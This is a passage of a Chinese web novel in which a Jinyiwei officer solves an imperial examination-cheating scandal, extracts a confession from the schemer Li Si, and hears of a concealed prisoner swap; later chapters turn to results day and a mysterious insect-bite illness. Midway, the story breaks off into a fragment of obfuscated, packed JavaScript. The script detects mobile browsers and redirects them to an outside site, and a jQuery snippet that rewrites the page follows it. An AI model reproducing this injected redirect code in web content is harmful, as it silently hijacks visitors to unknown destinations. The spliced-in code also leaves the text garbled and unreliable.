就在钱源潜心祈祷的时候，听见内院里的哭声越来越大。 再过了会，郑显抱着刚出生的孩子走出来，满面悲痛，告诉钱源，妻子已经去世。 按照朝廷的规定，官员妻子去世，官员需要丁忧，为妻子守丧二十七个月。 如此一来，锦衣卫指挥使的职位就空缺了，能审这科场舞弊案的，就只有钱源一个人。 钱源劝郑显节哀顺变，走出郑家，忧心忡忡。 这起科场舞弊案牵扯甚广，涉及到内阁首辅李经章、翰林院大学士张伦等朝中重臣，仅凭他一个锦衣卫掌事千户，恐怕难以应对。 于是次日，钱源一早就登了北镇抚司的门，敲开上级的值房，请求派人协助查案。 北镇抚司姓宣，单名“丹”。 四十出头的年纪，却已是大腹便便，一开口，满嘴都是客客气气的场面话。 宣大人回绝了钱源的增员请求，说，“钱千户，这科场舞弊案事关重大，牵扯到很多朝中官员。如果半路找人加入，恐怕会被人钻空子，泄露案情，影响查办过程。我这北镇抚司，对钱千户你的能力，非常看好，相信你定能办好这案子。眼下，你就放心去查吧，有什么需要支持的，我会尽量配合你。” 钱源听了更为郁闷。 可是北镇抚司说得也有几分道理，然而这案子的难度极大，凭他一个人，压力实在太大了。 上级已经下了决定，钱源再有怨言，也只能接受。 离开北镇抚司的值房，钱源心情沉重。 他握着腰上的佩刀，所到之处，百姓和商贩无一不对他恭敬。 钱源就这么在街上漫无目的地走，不知不觉来到了千家胡同。 抬眼，他站在了外城最繁华的街区，四下有很多商铺、茶馆。 街边有一家酒馆，客人不少，看似不错。 钱源便走了进去，点了几碟小菜和一壶酒，独自喝了起来。 几杯酒下肚，心情稍微好一些，他起身准备离开酒馆，却在门口看到了一个熟悉的身影。 那人穿着一身青色的长袍，背影挺拔，看起来，很像太子詹事府的少詹事升铭。 钱源驻足，心中疑惑，这位升铭是太子身边的近臣，平时行事低调，都在东宫办公，怎么会今日倒是出现在外城的千家胡同？ 钱源想不明白，走上前，笑着打招呼，“升大人，这么巧，您也在这里？” 升铭愣了下，认出来钱源，笑道，“原来是钱千户，真是巧啊。我在这里办点私事，没想到会遇到您。” 钱源点点头，继续问道，“升大人办什么私事呢？这千家胡同虽然繁华，但好像不是太子詹事府的官员常来的地方啊。” 这话中，暗含着来自锦衣卫的强势质问。 升铭的眼神闪烁了下，没细说，只是含糊道，“就是一些家里的小事，不值一提。钱千户，我还有事要忙，就不跟您多聊了，告辞。”说完，就匆匆离开。 钱源望着升铭急忙的身影，心中疑惑更深。 他想看了一圈周围的街口，不远处就是李司管家被火烧的宅子之处。 之前，司宁侯府的长媳容芝也来过这里，现在他又见到了太子府的升铭，而且那个升铭至今还没有娶妻。 难道，容芝和升铭在这里私会？ 再联想到前不久，容芝的儿子游乘被他带去诏狱，没多久太子那边就来了消息，提醒他不可苛待游乘。 当时，钱源还觉得是太子关照游家，可现在想来，这里面恐怕还有别的原因。 钱源站在街边，扳着手指在心里算。 升铭今年三十出头，而那个游乘已经十九岁了，从年龄上看，升铭不可能是游乘的父亲。但容芝的家中也不止游乘一个儿子，还有一个小儿子叫游余，今年十六岁。那游余的年龄和升铭的年龄，倒是对得上。 他不会是容芝和升铭的孩子吧？ 像这种私通的事情，在京中的勋贵之中，其实并不少见。 那位游家的长媳容芝，看起来端庄贤淑，没想到竟然也会做出这种事情，真是败絮其中。 钱源难免感慨，但他也知道，这种事关乎家族脸面，不能随便对外人说，否则会引起轩然大波。 钱源压下心思，不再多想，匆匆赶回诏狱。 刚一到诏狱，他之前派去跟踪容芝的暗线就来报告。 暗线说，今天晚上的时候，他看到游家的长媳容芝又去了千家胡同，还走进了一家房牙行，在里面待了大约一个时辰才出来。 钱源听了没表现出任何异常，只在心中更肯定了自己的猜测。 容芝和升铭，定有不可告人的关系。他们二人选择在千家胡同的房牙行见面，因为地方偏僻，可以掩人耳目。 对于这段离奇的发现，钱源虽好奇，但知现在不是追究这件事的时候。 当务之急，还是查清科场舞弊案。 次日天一亮，百官来到宫中，准备参加早朝。 锦衣卫掌事千户钱源，也早早来了皇宫，要在今日的早朝上，向皇帝汇报科场舞弊案的进展，以此来请求皇帝下令，抓捕李司、张伦等人。 大殿上。 皇帝端坐龙椅，威严地扫视下方的百官，“众卿可有本奏？” 钱源观察了会，见无人响应，立刻上前一步，跪在地上，“陛下，臣有本奏。臣在查办科场舞弊案的过程中，从李司管家的家中找到了一本账本，账本上记录着李司收受各地举子贿赂的明细，还有李司与翰林院大学士张伦勾结的证据。臣恳请陛下下令，将李司、张伦等人抓捕归案，彻查这起科场舞弊案，还天下读书人一个公道！” 皇帝一听立即严肃地说，“钱千户，你把账本呈上来，让朕看看。” 钱源忙把账本递上去，掌印太监王庆祥接过账本，呈给了皇帝。 皇帝仔细翻看，脸色眼见着阴沉沉的。 因为那账本上的记录清晰地显示，李司和张伦利用会试之便，收受贿赂，出卖进士名额，涉及的金额巨大，牵扯的举子也很多。 但是此案不能直接论罪惩罚，毕竟，其中还可能有更多的官吏牵连。 眼下，只需如计划中的那样，按部就班地，帮锦衣卫推进查案，便可。 片刻，皇帝合起那账本，扔在地上，怒声道：“胆大包天啊！科场是国家选拔人才的重要场所，竟然被某些人搞得乌烟瘴气！钱千户，朕命你立刻带领锦衣卫，将李司、张伦及其侄子张质，还有那些行贿的举子全部抓捕归案，关进诏狱，严加审问！一定要查清此案，严惩不贷！” “臣遵旨！”钱源磕头领命。 早朝散了，锦衣卫即刻出动。 钱源带着人，先是来到都察院，毫不解释地，直接冲进李司的值房。 李司已在早朝时得知自己罪行暴露，还想收拾一下值房里的“罪证”，见钱源带着锦衣卫闯进，慌张退到墙角，举高了手，“本官是被冤枉的！有人要污蔑本官！” 钱源没有给他任何辩解的机会，直接下令将李司拿了，戴上枷锁，押往诏狱。 第二个要抓的是翰林院大学士张伦的侄子张质。 钱源又带锦衣卫去了张家，张质已经得知李司被抓的消息，在收拾东西准备逃，结果被钱源撞见，逮了个正着。一开始张质还想反抗，但在锦衣卫的武力威慑下，很快就乖乖就范。 接着，钱源根据账本记录，派人去抓捕那些向李司行贿的举子。 这些举子散布在京城各家客栈，还在等待会试放榜。读书人毫无反抗之力，立刻就被锦衣卫一一抓获，全部关进了诏狱。 与此同时，另一队锦衣卫赶到了贡院。 此时，贡院中的会试阅卷还在焦灼之中。 主考官张伦正和其他同考官坐在一起，看似认真地审核每一份考卷。 锦衣卫闯进阅卷房，在其他考官的震惊目光中，给惊讶的张伦戴上枷锁，押了出去。张伦又惊又怒，喊道：“你们凭什么抓我？我是会试主考官，受命于圣上！！” 带队的锦衣卫校尉冷笑道，“张大人，你涉嫌科场舞弊！陛下有旨，将你关进诏狱严加审问。有什么话，你还是到诏狱里去说吧。” 二话不多说，带着张伦离开贡院。 会试主考官之一的张伦被抓，消息很快就传遍京城，引起城中和朝野上下的惊动。 所有人都没想到，堂堂的翰林院大学士、会试主考官，竟然贪恋财权，涉嫌科场舞弊。这起案子，迅速成了京中街头巷尾议论的最新热点。 所有涉案人员抓捕归案，钱源对他们展开审问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259850|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张质年纪小，没吃过苦，而那些行贿的举子大多是第一次行贿，心理承受力很差。 在锦衣卫的呵斥和证据面前，这一批人很快招供，承认自己向李司行贿，以及李司和张伦勾结舞弊的事实。 对于举子们和侄子张质的证词，张伦一开始还想狡辩，但当钱源拿出账本，扔到他脸上，他也不得不承认罪行，写下认罪书，并签字画押。 然而这桩案子的主谋李司，却始终不认罪。 他一口咬定，自己是被冤枉的，张质和举子们的证词都是编造的，那本账本也是钱源自己伪造的，目的是为了陷害他，好尽快结案、邀功。 面对李司这种无赖，钱源真恨不得把所有刑具都在李司身上用一遍。 但他也知道，李司之所以不认罪，是对内阁首辅李经章还存有幻想。 李司是李经章的湖西同乡，进京考中状元之后，主要依附的人就是李经章。 也许李司觉得，只要自己不承认，李经章就会想办法救他出去。 钱源估计，这二人还有秘密消息要互传。 果然到了这日晚上，李司买通了诏狱的一名狱卒，让狱卒帮他给李经章带口信。而这位狱卒，自然是钱源提前准备好的。 狱卒离开诏狱找李经章之前，先来给钱源报告。 说，李司委婉地暗示了李经章，如果不想办法救他，他就会把李经章的族人在湖西办私学、敛财的事情抖出来，到时候，大家一起完蛋。 狱卒听从钱源的安排，假装成偷偷的行动，把口信带给了李经章的管家。 李经章得知后，气得浑身发抖，倒也不是害怕李司，但兔子被逼急还会咬人。 如果李司发起疯来，什么事情都可能做出来，李家在湖西私学中的事被抖出来，虽然能凭借自己的势力压下去，也会带来很大的麻烦。 李经章没有贸然拒绝李司，让管家给狱卒带了话，说自己在想办法救李司。 此案是锦衣卫经手的，案情重大，不好立刻回转，需要多一点时间。 狱卒把李经章的话带给李司。 李司听完，心中的希望破灭了一半。李经章又开始敷衍他了，根本就没有真心想救他。 前所未有的愤怒笼罩在李司心头，如果再不主动出击，怕就真的没有活路了。 “我要见钱千户！我有重大线索上报！” 此时是深夜。 诏狱里已经没有审案的动静，偶尔传来狱卒巡逻的脚步。 游乘和姜归被关在诏狱大门附近。 因为案子还没查清，他们暂时还不能离开，一连睡了好几晚硬地板。姜归尚且还算习惯，却苦了被母亲精心照料着长大的游乘。 正翻来覆去睡不着，游乘侧耳听到李司大喊着要见钱源，更是被吵得没了睡意，干脆起身走到木栏前，看向李司的牢房，不知李司又想干什么。 没过多久，钱源带着人来了诏狱。 他站在李司的牢房前，冷道，“说吧，有什么重大线索？如果你是想狡辩，或者拖延时间，我劝你还是省省力气。” 李司抓住木栏，双目猩红，“我要检举内阁首辅李经章！他和司宁侯游仁泰勾结，多年前用死囚换掉了他的弟弟。” 大概知道此事不可声张。 李司本着最后一点理智，说这话的时候，压低了声线。 悄悄声，像水入油锅，在诏狱里炸开。 钱源皱眉，看着处在癫狂边缘的李司，努力分辨此人刚才说的，是否属实。 原以为李司要检举的是科场舞弊案里的其他隐情，却没料到扯出内阁首辅李经章和司宁侯游仁泰。这两位，可是朝堂上举足轻重的人物。一个掌内阁大权，一个是世袭勋贵。他们若真有勾结，且涉及“用死囚换活人”的重罪，案子的性质就彻底变了。 “你再说一遍？” 钱源的手按在腰间的佩刀上，目光如刀，低声道，“李经章和游仁泰，用死囚换了谁？有证据吗？” 李司被钱源握刀的气势逼得后退，但一想到自己已是穷途末路，反而生出破罐破摔的狠劲。他深深呼吸，同样压低声音，道，“何必装糊涂？李经章的亲弟弟李经资，二十多年前在湖西犯下命案，本应判斩立决，可最后被斩的，却是个替死的死囚！这事，就是司宁侯游仁泰一手操办的——游仁泰是大理寺卿，掌刑狱大权，要换个死囚，还不是易如反掌？” 钱源这下真听清了，他虽在锦衣卫任职，消息灵通，却从未听过这桩秘事。 对李经资此人，钱源倒是有印象，只知他是李经章的弟弟，二十多年前“死”后，便再无音讯，原来是犯了命案，被换了身份。 不过钱源还想追问，“李司，你怎知道这些？此事若属实，便是抄家灭族的重罪，你敢胡言乱语？” “我当然知道！” 李司的目光变得怨毒，却不敢高声，“我也是湖西人，李经资在湖西作恶时，我还是个孩子，但也听父母亲戚之间说到过。李经资以前是山匪，杀了当地有名的乡绅，本该伏法，没过多久就被‘处死’。然而，我进京做官之后，偶然从李经章口中得知，原来李经资还活着，是大理寺卿游仁泰帮了忙。如今，我落得这般下场，李经章不肯救我，那我也不让他好过！一起毁灭吧！” 钱源仍不敢相信，盯着李司的眼睛，试图判断话中的真假。 身处诏狱，见多了走投无路的人。 那些人的眼神满是不甘和怨恨，不会费劲地再捏造什么。 所以，李司讲的，也许有夸大的成分，却极有可能是真的。 钱源问道，“我问你，有证据吗？空口无凭，我怎么信你？” 李司愣了下，低头不知在想什么，小声说道，“李经资现在就在湖西的李家！他帮李经章看管儿子李谨，在湖西过得逍遥快活呢。你们若去李家，定能找到他！” 这下轮到钱源沉默了。 李司所交代的这些线索若是真的，确实能查出真相。可一旦开始查，就再也无法回头。 难道李司想反手陷害他？ 钱源思索着，抬手给了李司一耳光，厉声斥责，“一派胡言！李经章是内阁首辅，游仁泰是司宁侯、更是大理寺卿，怎会做出这等违法乱纪之事？你分明是想构陷朝廷重臣，拖延时间！” 李司被打得偏过了头，嘴角渗出血丝。 他怒视着钱源，哑声吼道，“我句句属实！你若不敢查，肯定是怕李经章！哈哈——” “放肆！” 牢门外的锦衣卫校尉冲进来，帮着钱源喝止李司，又踢了李司一脚。 “来人，把他的嘴堵上！别让他在这里胡言乱语！” 候在一边的狱卒上前，反绑了李司，再用布条塞嘴。 李司“呜呜”挣扎，被踢到墙角，缩成一团，瞪圆的双目骇人。 钱源看着李司，思绪万千。 李司说的未必是假，可这事太大，他一个掌事千户根本无法做主，必须谨慎处理，不能贸然行动。 钱源转身离开牢房，沿着过道走出诏狱，却在经过游乘和姜归的牢门时，停下了脚步。 “千户大人，”游乘和姜归站在木栏后，看着他。 刚才李司那边的动静很大，他们显然听到了一星半点李司的话。 钱源点了点头，又看了游乘一眼。此人是游仁泰的孙子，如果李司说的是真的，那游乘必然也知道些什么。 这时，游乘面露笑意，轻声问道，“千户大人，李司说了什么让您这般焦虑？” 钱源摇头，没有说话。 游乘又轻声道，“李司说的事情和我祖父有关？” 这下钱源忙走近木栏，小声道，“难道公子也知道那件事？” 互相打着哑谜。 游乘却跟上了钱源的话，沉默片刻，说，“我祖父当年用死囚换掉李经资，这件事，我听父母提起过一些。只是他们也说，事出有因，并非李司说的那般轻巧。” 钱源比了个噤声，“不要乱讲！涉事的可是你祖父，司宁侯！若被有心人利用，写成揭帖投递给皇帝，你祖父没罪也要接受审问，中间再被人添油加醋，你们司宁侯府……就完了！” 游乘敢主动提起此事，当然是早就准备，“大人放心，我知此事严重，不会随便对外人说。只是，我还想知道，大人得知了，打算如何处理？” 钱源叹了口气，“我……需要仔细考虑。眼下最重要的还是科场舞弊案，李司的事情还没有彻底查清，不能因为其他事情而分心。” 姜归在一旁，越听越迷糊，这时，开口道，“千户大人，两码事不能混成一团。游家的案子要定论，需要严审，但眼下，李司面对舞弊的真凭实据，不肯认罪，才是最关键的问题。如果不能让李司认罪，舞弊案就无法彻底查清，张伦、张质，还有行贿的举子，不会甘心伏法！” 钱源明白道理，“李司的事，几乎是板上钉钉了，现在就差他自己的认罪书。可他一直抱着侥幸，以为李经章会救他，不肯认罪。恐怕还要找到关键，让李司彻底崩溃、认输才行。” 游乘握拳，又看向诏狱深处。 只见李司蜷在牢房角落里，双目仍然瞪着不甘心。 游乘说，“解铃还须系铃人！李司之所以撑着，因他对李经章有幻想。只要让他知道，李经章不会救他，甚至会放弃他，他自然就认罪了。” 钱源啧了一声，“我也想过这个。可李经章是内阁首辅，位高权重，我根本无法直接逼迫他表态。目前的举证，还没有人敢拉扯李经章，我若登门找李经章，师出无名，不好说啊。” 姜归不免好奇了，“奇怪！你们锦衣卫办案，难道不是想抓就抓？为何还会在乎证据和师出有名？” 钱源苦笑，“你太高看锦衣卫了。我们虽然有皇帝的特许，可以查办官员，但也不能随意妄为。我们是办事的，要听上面的指示。如果没有确凿的证据，又没有皇帝的旨意，我们根本不敢动李经章这样的重臣。” 姜归了解了，“你的上面，是皇帝，也就是说，除非皇帝下令，否则你无法对李经章采取行动。” 钱源没说话，算是默认。 过道里，狱卒打着哈欠走过去。 游乘与那人对上眼神，眼前一亮，“这事，也好办的。” 上次，帮李司给李经章传话的狱卒，是钱源故意放走的。 钱源当时想通过这个狱卒，探探李经章的口风。既然这一招可行，不如，再让那个狱卒配合李司一次，再帮李司给李经章传个话，就说，李司准备揭发李经章和游仁泰的勾连，探一探李经章会作何反应。 钱源听完有些怀疑，“这和上次李司拿湖西私学的事威胁李经章，有什么区别？上次，李经章只是敷衍了李司，没真正放弃，这次，应该也一样。” 游乘说不一样，“上次李司威胁的是，李经章的族人在湖西办私学敛财，大可以直接割裂关系。但这次，是关乎李经章的弟弟李经资的性命，如果李经章不想让李经资的事情败露，不想自己牵扯进去，他就必须对李司进行割裂处理，公开和李司划清界限，甚至可能会主动揭发李司的某些罪行，以自保。” 钱源连连点头，“妙计！游公子这主意好！如果李经章放弃李司，李司没了幻想，会认罪的。” 游乘道，“这个办法需之前的狱卒配合，且不能让李经章察觉，这是您的计谋。” 钱源有把握，“那狱卒是可靠的，我会让他按照计划给李经章传话。” 随后，那个狱卒被带过来。 钱源交代了任务，让他再去李经章的家中，见不到李经章没关系，就让管家传话，说，李司在诏狱中受不住刑，打算揭发李经章和游仁泰，当年用死囚换掉李经资的事，以此来减免罪行。 狱卒按照吩咐，来到李经章府上，把钱源编造的话传给了管家，管家立刻把这件事告诉了李经章。 李经章听了大怒，他这辈子最亲的，除了儿子李谨，就只有弟弟李经资。 当年不忍心看李经资死，才铤而走险，用嫡女李襄下嫁游家庶子为条件，向大理寺卿游仁泰，给弟弟李经资换到一个生的机会。 如今，弟弟虽不在身边，他却无时不刻不担心弟弟的事败露，一旦这事被皇帝知道，满门抄斩，不在话下。自己丢了命，儿子丢了命，弟弟也会丢了命。 绝不能让事情发生。 李经章对管家吩咐，“去告诉那狱卒，让他转告李司，‘他是湖西李家的败类，他的舞弊案和李家其他人没有任何关系，是他一个人所为’。‘从今往后，李家和他断绝来往，再没有任何关系’！” 管家跑出府门，把李经章的话传给狱卒。 狱卒再马不停蹄地赶回诏狱，把李经章的话告诉了钱源。 钱源不禁大喜，“果然上钩了！现在就等着看李司的表现了。” 而后，李经章的话，又传给了李司。 李司如遭雷击，之前一直瞪着的双眼，慢慢失去活力。 他应该没想到，李经章这么快就放弃了他，甚至还公开和他划清界限。 一直以来，他幻想着李经章会救他，可现在看来，他只是李经章的一颗棋子，一旦没有利用价值，被毫不犹豫地抛弃了的棋子。 当晚，诏狱里回荡着李司的哭声。 他要死要活，哭了一夜，再也没有任何希望，等待他的只有死路。 他甚至还想用裤带上吊，幸好被狱卒及时发现，阻止了他。 第二日一早，李司浑浑噩噩地从墙角爬起来，主动要纸和笔，说，要写认罪书。 钱源在远处看着，见李司坐在案前，一字一字认真地写，并在末尾签字画押。 在李司的认罪书中，详细交代了如何勾结张伦、张质，利用会试舞弊受贿的事实，还交代了收受的贿赂金额以及更多行贿的举子名单。 钱源拿到认罪书，对案子进行总结。 他根据李司的认罪书，和之前的所有证据、证词，拟定判决公文，上报给司礼监掌印太监王庆祥。 皇帝看完报文，当场下旨： 李司作为科场舞弊案的主谋，紊乱科场，罪大恶极，被判死刑，抄家，其家人流放三千里。 张质作为张伦的侄子，协助李司舞弊受贿，被判流放充军，永不回京。 张伦作为会试主考官，治家不严，失察，且自身也涉及收受贿赂，原本被判革职罢官，永不叙用。但随后又有人举报张伦长期收受贿赂，数额巨大，皇帝大怒，改判张伦立刻处死。 向李司行贿的各地举子，全部革去功名，流放充军，终身不得参加科举考试。 同时，皇帝还要求： 各地官府复查近三年来的乡试，重新录取举人，以确保科举考试的公平公正。 得到消息，李经章为表明自己和李司划清界限，主动向皇帝奏请。 要求重点复查他的老家湖西的乡试，保证每个读书人的功名不受舞弊案的影响。 皇帝同意了李经章的奏请，并安排他负责湖西乡试的复查工作。 日子来到四月十四。 原定会试放榜是在四月十五。 因为查案需要，皇帝另外下旨，延迟二十天，到五月初五作会试放榜，让举子们能安心等待结果。 案子尘埃落定，京中百姓和读书人都拍手称快，赞圣上英明。 锦衣卫掌事千户钱源，也因为此案的成功查办，得到皇帝赏识。 他被破格提升，成为锦衣卫指挥同知，专项负责刑案。 然而，钱源心中并没多少喜悦。 李司揭发的、有关内阁首辅李经章和大理寺卿游仁泰，用死囚换掉李经资的事，还没得到确认。 甚至，他还怀疑着游家长媳容芝和“太子党”升铭的关系，以及游家嫡长孙游余的身世。 这些事，像刺扎在钱源心上，让他无法心安。 科场舞弊案的判决，由掌印太监王庆祥，在“承天门”向百官宣读，让天下周知。 来京赴考的举人们，或因舞弊被流放，或因清白等待放榜。 各部官员恢复忙碌，各司其职，仿佛这场大案，从未发生过。 五月初五，会试放榜日。 一清早，礼部衙门前，人头挨着人头。 礼部侍郎游怜山被挤出人群，只好站在后方台阶上，垫起脚围观。 他努力定睛，终于看清榜上的头名和次名，“嗯？是这结果？” 59. 一门双星，殿试准备 五月初五，会试放榜。 天刚亮，礼部衙门外的朱墙下聚满了人。 有的踮脚往衙门里看，还有的闭眼默念自己的名字，“愿神明保佑！” 辰时一过，两个青布差役抬着黄裱的榜文走出礼部衙门，人群顿时沸腾。 差役踩梯，将榜文贴在墙上，朱笔写的名字十分醒目，众人却发现，最顶的位置，并排写着两个。 游余，游乘。 “是司宁侯府的！”不知是谁喊了声，像投入湖面的石子。 “游家两个公子，都中了头名？” “从没见过会试有两个会元的！” “……” 议论声此起彼伏。 越来越多的人往前挤，想看得更清楚。 另一些人则转头看向身后，台阶上站着游家大爷游怜山，也是礼部左侍郎。 游怜山在众人的瞩目中走下台阶，身上的三品官袍飒爽，面容俊逸，眉间藏着一丝紧绷。 这两年，游家四个儿子接连倒下了两个，家族重担更多地压在了长子游怜山肩头。 “游侍郎！恭喜恭喜！” 新提拔的左都御史周延，最先挤到游怜山面前，双手抱拳，笑容堆满眼角，“一门双星，这可是百年难遇的佳话啊！” 话音刚落，户部侍郎、兵部郎中、还有工部、刑部的几个同僚都围了上来，拱手相贺，此起彼伏，客套话也像潮水涌来。 游怜山欠身回礼，不让自己在礼数上被人挑错，“诸位谬赞，不过是孩子们运气好，还需多磨几年才能成器。” 他的话十分谦恭，听不出半分得意，可也只有他自己明白，这听来轻巧的“运气”二字，背后藏着多少旁人不知的风雨。 “运气？” 此时，人群后传来轻嗤。 开口说话的是个穿监生服的年轻人，二十出头，穷酸模样，眼中不屑道，“大人家中的游乘公子，从县试到乡试，次次都是榜首，这是什么天赐的运气？而游余公子，能与之并列会元，怕也是沾了游侍郎在礼部任职的光？” 这话像针，扎破了表面的合满。 一个刑部的官员立刻接话，“兄台讲话不可武断！游余公子的文章我看过，笔有风骨，未必比他哥哥游乘差了。” 另一个老儒却摇了摇头，“可是，游乘公子连中五元，殿试若是正常考，状元定然是他。这一点，游侍郎肯定认可，但游侍郎怕是更盼着亲儿子游余，中状元？” 游怜山看了那二人一眼，面上笑意不变，“他俩都是一样的儿子，不管谁中状元，我都高兴。”说完，他错开人群，往礼部衙门内走。 偏见已成，再多解释也堵不住这些人的嘴。 只是游怜山离开的步子太匆忙，没听见他身后的议论早变了味。 一个方巾秀才拽住了同伴，压低声音，“你没听说？游余公子的亲爹根本不是游侍郎！” 同伴瞪圆了眼睛，嘴里的馒头都忘了嚼。 那秀才见状，往四周扫了圈，没人注意，才又凑到他耳边，“人家亲爹，可是太子府詹事府的少詹事升铭！那人能在宫里佩剑行走，跟太子形影不离……近来酒肆有传，说游余是升铭和容芝偷偷生的！” “真的假的？” 同伴声音拔高了些，又慌忙捂住嘴，往游怜山离开的方向瞥了眼，“难怪游余能和游乘并列会元，原来是有太子撑腰！如此一来，这会试的公平性，是要打个折扣了。” 七嘴八舌，吱吱呀呀。 一时间，原本还在议论才学的众人，口中的话题全变成了“游家嫡长孙，游余的身世”“升铭和容芝的关系”。 不觉间这些窃窃私语变成了嗡嗡的声响，大家的目光一齐投向礼部衙门的值房窗口。 带着探究，还有几分等着看好戏的意味。 游怜山走得不快，在衙门的回廊，见礼部主事赵立迎了上来。 这叫赵立的，青色官袍胸前打了个补丁，肩上背着布包，走得急急忙忙。 赵立到了游怜山跟前，官帽歪去一边，急道，“游侍郎！外面都传疯了，说……说游余公子是升铭大人的孩子，您作何感想啊！” “无稽之谈。” 游怜山的脚步顿在原地，负手而立，“容芝是我明媒正娶的妻子，成婚二十多年，贤良淑德，京城谁家不知？她和詹事府少詹事升铭？哼……升铭是我的同年，虽在朝堂少有会面，也偶尔品茗论诗，人品高尚，怎么就被编排成他们嘴里那样的龌龊？” 游怜山嘴上坚定，带着怒意，可也想起几年前的太子大婚前夜，自己确实被容芝赶出家，在礼部衙门过了夜，还被几个同僚看见。 赵立被他这气势吓住，往后缩了缩，攥紧肩头的布包，低笑道，“是是是，下官也是听人瞎说的，不该乱传。只是游大人啊，您和夫人最近是不是有什么不痛快？前阵子夫人还三天两头来送午膳，亲手做的莲子羹、翡翠饺，等等，我们这些下属都跟着沾光，怎么这半个月，就没见夫人来？” 谁能猜得透容芝的心呢。 游怜山的喉结滚动，转开目光，飘向院旁的石榴树，红花落下，逐渐生出果实，“夫人最近身子不适，总说头晕，在家静养，懒得跑路了。” “哦？” 赵立眨眨眼，往前凑了半步，嗓音压得更低，“我就说嘛。那日太子大婚前夜，有衙役说见您在衙门过的夜，还听见您在叹气。是不是……是不是和夫人吵架，被赶出来的？” 心事被戳，游怜山无法反驳，但面前的赵立，这般咄咄逼人的口吻，让游怜山不太舒服。 游怜山不再说什么，猛地转身往值房走，“休要胡说！最近手头公务多，要核对贡士名册，难免情绪急躁，说话重了点，自是我的家事，和外人有什么关系？” 身后，赵立连忙跟上。 他笑着拦下侍郎大人游怜山，从包里取出一份整齐的公文，双手递给游怜山，“侍郎大人，您别生气，是下官多嘴。这是下官的告假公文，想跟您告一个月假，回家养病。” 游怜山接过公文，看见公文上的“身体不适，高热不退”，皱起了眉，“我瞧着，你平日身体硬朗得很，上个月还去郊外验看寒山寺，怎么突然就病了？” 还要养一个月？ 闻言，赵立立刻掀起后颈的衣领，露出红疹，那些疹子带着抓痕，看着触目惊心。 “您自己看，被虫子咬的。起初只是痒，后来就发热，夜里烧得根本睡不着，后背也是痒得钻心。找了太医院的医士，找了民间的大夫，都只说要静养，开的药抹了也没用。” 赵立说着，往门槛上一靠，更显无奈，“下官还不到三十，总不能拿命跟差事耗吧？” 此言在理，游怜山合起公文，想到马上就是殿试了。 核对贡士名册、安排考场席位、准备殿试用的笔墨纸砚，这些活，都是赵立在管。 “你这一走，礼部的事情谁接手？其他别的主事，连贡士名字都认不全，怎么担得起？” 赵立苦笑连连，晃了晃手腕，“可我现在连笔都握不稳，硬撑着，出了错是更糟了吧。” 见游怜山仍是摇头，赵立继续恳求，“下官这份公文，还请侍郎大人帮忙转交给吏部。您在吏部有熟人，办事快些，下官……感激不尽。” 游怜山捏着他的公文，无话可说。这赵立性子老实，不是拿病当借口的人，可这节骨眼上礼部少了得力助手，后续麻烦定然不少。 游怜山沉默片刻才点了头，“行，我知道了，你先回去养病，公文我会转交。” 赵立忙拱手，而后，踉跄地朝衙门外走，也不忘叮嘱游怜山，“侍郎大人多留意！最近京城里怪虫子多，别被咬伤了。” 游怜山却没将虫子的事放在心上。 京城快入夏了，蚊虫自然会多起来，携带着各种病原体，需要注意此事，却不必太过费心的。 等赵立的背影消失在衙门外，游怜山才转身走开。 进了值房，他把公文放在案上，铺开新科贡士的名册，沉心处理紧急事务。 但脑海不时冒出刚才在衙门外的流言，让他心绪难平。 转眼到了午膳。 游怜山揣着赵立的告假公文，往吏部衙门赶，见街上的人比早晨放榜时稀疏了。 他脚步匆匆，路过街口的包子铺，热气裹着肉香飘来，也没心思驻足。 下属赵立的假期太长，殿试的筹备不能耽误，仿佛所有事情都变得紧张，经不起等。 拐进吏部的大门，一位年老的门房，穿灰衫，手拿扫帚清扫门前。 见了游怜山，老门房连忙躬身，“游大人，您是来找杜尚书的吧？不巧，杜尚书从昨天起就没来上值，听说是病了，现在吏部的事务都是张侍郎在代管。” 游怜山颇有些意外，点头谢过便径直往后面的值房走。 穿过回廊，正好碰见几个吏部小吏，抱着卷宗往库房去。 几人见了游怜山，停下脚步，躬身行礼。 游怜山只点了头，脚步赶得更快。 赵立的病已经够棘手，若是吏部杜尚书也病倒了，后续的殿试啊，授官啊，怕是更急。 吏部值房里，侍郎张谦，坐在本该属于杜尚书的案前，代理批公文。 他卷着官袍袖子，面前堆着厚厚的公文，手边的茶没有一丝热气，连抬头的功夫都没有。 听见脚步，张谦才勉强看向门边，揉揉发红的眼睛，认出了来人是游怜山。 他却没敢起身，只往椅背一靠，喝口茶稍微歇会，“游兄来了！快坐，你看我这，都要忙疯了。” 这话不假。 马上要给殿试后的新进士授官，张榜的贡士名册，得核对三遍。 籍贯、出身、名次，一个都不能错。 杜尚书偏偏这时候病了，把事情全扔给侍郎张谦，让他忙得连喝口茶的时间都没有。 游怜山在他对面落座，把赵立的公文递过去，“你忙，就长话短说。我来是替赵立告假的，他被虫咬了，发热发痒，要在家养一个月。对了，杜尚书到底怎么病了？是风寒，还是旧疾？” 张谦接住公文，扫了眼，像忽然想到什么，看着游怜山，惊讶道，“你们礼部也有人被虫咬了？” 游怜山更为疑惑。 他身子往前一倾，手肘撑在案上，低声道，“赵立的症状是，高热不退，身上发痒，连大夫都没辙。难道，杜尚书的病和赵立一样？” “可不是嘛！” 张谦仿佛遇见了知音，却警惕地往门外看了眼。 而后，他对游怜山招手，凑到耳边，“杜尚书的儿子今早来吏部告假，红着眼圈说的，说尚书大人从昨天起就高热不退，意识都模糊了，身上还起了那种疹子。大夫看了，只说‘凶险’，没敢开药方呢！” 此事在预料之中，但也很意外。 游怜山不由追问，“具体是什么虫咬的？太医有没有说？” 张谦摇了摇头，将一旁的凉茶倒掉，重新倒一杯温的，“太医去过两拨了，都没瞧出个所以然。只说，没见过那种虫，也没治过类似的病。哦，今晚我们几个吏部同僚约好，去杜府探病，游兄要不要一起？多个人多份心意，也能帮着拿拿主意。” 游怜山后退回来，坐直了身子。 